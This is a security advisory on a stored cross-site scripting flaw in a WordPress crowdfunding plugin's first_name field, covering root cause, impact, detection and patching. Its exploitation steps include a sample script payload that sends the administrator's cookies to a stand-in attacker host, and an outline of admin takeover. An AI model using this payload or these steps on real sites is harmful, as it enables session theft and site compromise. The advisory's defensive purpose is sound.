CVE-2026-19945: 
WordPress vulnerability analysis and mitigation

CVE-2026-19945 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Crowdfunding plugin for WordPress, affecting all versions up to and including 2.2.1. The flaw exists in the first_name parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with subscriber-level access or above to inject persistent malicious scripts. When an administrator views an affected user's profile via the ?show_user_id= parameter, the stored payload executes in the admin's browser session, enabling cross-privilege script execution. It was published on September 9, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is the failure to sanitize user-supplied input in the first_name field before storing it in the database and the failure to escape it on output when rendering user profiles. Specifically, the vulnerable code paths are identified in includes/woocommerce/Actions.php (lines 79 and 116) and includes/woocommerce/dashboard/profile.php (line 62) of version 2.2.1 (GitHub Advisory, Wordfence). The attack vector is network-based, requires low privileges (subscriber account), and no user interaction beyond an administrator naturally viewing a user profile page.

Successful exploitation allows an authenticated attacker with minimal privileges (subscriber-level) to inject arbitrary JavaScript that persists in the database and executes in the browser of any user who views the affected profile — most critically, site administrators. This enables the attacker to perform privileged actions within the administrator's session, such as creating rogue admin accounts, modifying site settings, installing malicious plugins, or exfiltrating sensitive data, effectively leading to full site compromise (GitHub Advisory, Wordfence).

As of the disclosure date (September 9, 2026), there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation (GitHub Advisory). The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the low barrier to exploitation — requiring only a subscriber-level account — makes it a realistic threat on sites with open user registration (Wordfence).

1. Obtain a low-privilege account: Register or obtain a subscriber-level (or higher) account on a WordPress site running WP Crowdfunding ≤ 2.2.1. Open user registration is common on crowdfunding sites.
2. Inject the payload: Update the user profile's first_name field with a malicious JavaScript payload, such as <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>, via the plugin's profile update functionality (handled in Actions.php).
3. Payload is stored: The unsanitized input is saved to the WordPress database without proper escaping, persisting the malicious script.
4. Trigger admin execution: Wait for (or socially engineer) an administrator to view the attacker's profile using the ?show_user_id=<attacker_id> URL parameter in the WordPress admin dashboard.
5. Script executes in admin session: The stored payload renders in the admin's browser without escaping (via profile.php), executing the JavaScript within the admin's authenticated session.
6. Achieve privileged objective: The script can exfiltrate session cookies, perform authenticated admin actions (e.g., create a new admin user via the WordPress REST API), or install a backdoor plugin (GitHub Advisory, Wordfence).

• Database: Presence of JavaScript tags or encoded script content (e.g., <script>, <script>, javascript:) in the first_name field of WordPress user meta records in the wp_usermeta table.
• Logs: WordPress or web server access logs showing POST requests to profile update endpoints (e.g., /wp-admin/admin-ajax.php or WooCommerce account endpoints) from low-privilege user accounts containing suspicious payloads in form data.
• Network: Outbound HTTP/S requests from the WordPress server or administrator's browser to unknown external domains shortly after an admin views a user profile page; DNS queries to attacker-controlled domains.
• Logs: Admin-side access logs showing requests to ?show_user_id=<id> parameters followed by unusual subsequent admin actions (e.g., new admin user creation, plugin installation) not initiated by the legitimate administrator.
• File System: Unexpected new plugin files or modified theme files if the XSS payload was used to install a backdoor (GitHub Advisory).

The primary remediation is to update the WP Crowdfunding plugin to a version newer than 2.2.1 that includes proper input sanitization and output escaping for the first_name parameter; the patch changeset is available in the WordPress plugin repository (GitHub Advisory). As interim workarounds, site administrators should disable open user registration if not required, restrict plugin access to trusted users only, and implement a Content Security Policy (CSP) header to limit unauthorized script execution. Administrators should also audit existing user profiles for suspicious content in the first_name field and monitor admin sessions for anomalous activity (Wordfence).